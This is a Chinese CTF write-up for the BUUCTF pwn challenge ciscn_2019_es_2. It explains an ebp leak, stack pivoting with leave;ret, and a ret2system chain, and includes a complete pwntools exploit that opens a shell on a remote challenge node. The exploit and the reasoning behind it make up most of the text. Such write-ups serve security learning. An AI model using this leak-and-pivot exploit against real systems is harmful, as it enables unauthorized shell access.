【BUUCTF】ciscn_2019_es_2
看下程序
有两处read可以溢出,但只能溢出刚好盖到ebp和ret
由于memset只清了0x20,所以可以泄露出ebp
有system函数,但参数不对
思路:运用栈迁移,迁移到我们写入的前面的部分,写rop链,就可以开shell了
由于需要跳转到我们写入的前面的部分需要知道它的地址,地址=ebp地址-偏移。
用gdb-peda调试,断点设在vul函数,一步步跟进,可以输入aaaa
然后searchmem aaaa
stack 来查看栈状态
(这图可能有错,我也不确定)
偏移=0x8c-0x54=0x38
exp:
from pwn import*
r=remote('node3.buuoj.cn',27354)
elf=ELF('./ciscn_2019_es_2')
context.log_level = 'debug'
context.arch = elf.arch
r.send('a'*0x20+'b'*8)
r.recvuntil('bbbbbbbb')
ebp=u32(r.recv(4))
print hex(ebp)
system=p32(elf.sym['system'])
leave_ret=p32(0x080484b8)
pd='a'*4+system+p32(0)+p32(ebp-0x28)+'/bin/sh\0'
pd+='a'*0x10+p32(ebp-0x38)+leave_ret
r.send(pd)
r.interactive()
注:这里system的参数要的是/bin/sh的地址,所以要这样:p32(ebp-0x28)+’/bin/sh\0’
主要参考这位师傅的文章:
https://www.cnblogs.com/remon535/p/13507217.html